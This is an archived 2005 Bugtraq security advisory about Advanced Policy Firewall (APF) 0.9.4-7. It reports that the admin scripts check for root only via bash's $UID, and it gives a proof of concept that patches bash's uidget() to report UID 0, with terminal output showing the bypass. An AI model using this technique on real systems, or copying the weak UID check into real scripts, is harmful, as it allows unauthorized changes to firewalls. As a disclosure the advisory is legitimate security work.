bugtraq - SB2005002: pron to bypass APF checking uid(0) routine

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 13 Jan 2005 04:32:21 -0000
From: x90c <jyj9782@...net.net>
To: bugtraq@...urityfocus.com
Subject: SB2005002: pron to bypass APF checking uid(0) routine




=====================================================
SB2005002: pron to bypass APF checking uid(0) routine
-----------------------------------------------------

Date : 01-13-2005

Author : x90c@....chollian.net/~jyj9782


----- Affected Version ----- 

apf-0.9.4-7 ( current at this time )


----- Summary -----

APF is a policy based iptables firewall system designed for ease of use and
configuration. It employs a subset of features to satisfy the veteran
Linux user and the novice alike. Packaged in tar.gz and RPM formats, APF is
ideal for deployment in any linux server environment.
tarball From the website ( http://www.r-fx.org/apf.php ).

1) Smallest Flaw
When below PoC commands are executed, which allows localusers to bypass 
the (only can use root) checking. therefore maybe an malicous user will can 
free to use admin scripts(apf, firewall..) such as changing rules or 
start/stop deamon and so on..

it's very dangerous from smallest things.
but it might be didn't happen,, because this program has install.sh.
it contains of  "chmod 750 $INSPATH/firewall" .. but i can advise potentialities~


----- PoC -----

STEP 1) Patch your bash source (vi shell.c +1099) as below.
+ u = 0;
+ current_user.gid = 0;
+ current_user.euid = 0;
+ current_user.egid = 0;

-shell.c +1099-
static int
uidget ()
{
  uid_t u;

  u = 0;
  if (current_user.uid != u)
    {
      FREE (current_user.user_name);
      FREE (current_user.shell);
      FREE (current_user.home_dir);
      current_user.user_name = current_user.shell = current_user.home_dir = (char *)NULL;
    }
  current_user.uid = u;
  current_user.gid = 0;
  current_user.euid = 0;
  current_user.egid = 0;

  /* See whether or not we are running setuid or setgid. */
  return (current_user.uid != current_user.euid) ||
           (current_user.gid != current_user.egid);
}


STEP 2) run vulerable scripts only for root (0) using patched bash shell.

root@...tbed:/home/s/apf-0.9.4-7# ls
CHANGELOG    README          apf.init    files       logrotate.d.apf
COPYING.GPL  README.antidos  cron.daily  install.sh
root@...tbed:/home/s/apf-0.9.4-7# cd files
root@...tbed:/home/s/apf-0.9.4-7/files# ls
VERSION            apf       deny_hosts.rules  extras     log.rules       sysctl.rules
ad                 bt.rules  doc               firewall   main.rules      vnet
allow_hosts.rules  conf.apf  ds_hosts.rules    internals  preroute.rules
root@...tbed:/home/s/apf-0.9.4-7/files# grep "UID" *
apf:if [ "$UID" != "0" ]; then
firewall:if [ "$UID" != "0" ]; then
root@...tbed:/home/s/apf-0.9.4-7/files# 

i don't want to install and so i just only tested as below.

root@...tbed:/tmp# ls -al b* f*
-rwxr-xr-x    1 pt       pt        2969870 2005-01-08 01:23 bash90
-rwxrwxr-x    1 root     root           24 2005-01-08 01:23 fake_firewall
root@...tbed:/tmp# su pt
pt@...tbed:/tmp$ id
uid=1001(pt) gid=1001(pt) groups=1001(pt),101(wheel)
pt@...tbed:/tmp$ echo $UID
1001
pt@...tbed:/tmp$ ./bash90 
root@...tbed:/tmp# echo $UID
0
root@...tbed:/tmp# id
uid=1001(pt) gid=1001(pt) groups=1001(pt),101(wheel)
root@...tbed:/tmp# ./fake_firewall
1001
root@...tbed:/tmp# exit
exit
pt@...tbed:/tmp$ ./bash90 fake_firewall
0
pt@...tbed:/tmp$


----- Solution -----

# cp /bin/id /firewall_path/secure_id
# chmod 700 /firewall_path/secure_id

and changed the sources to get uid by right above file..

or i recommend upgrade new release to you..






----- Credits -----
This smallest flaw was found by x90c(Kyong Joo, Jung) personaly.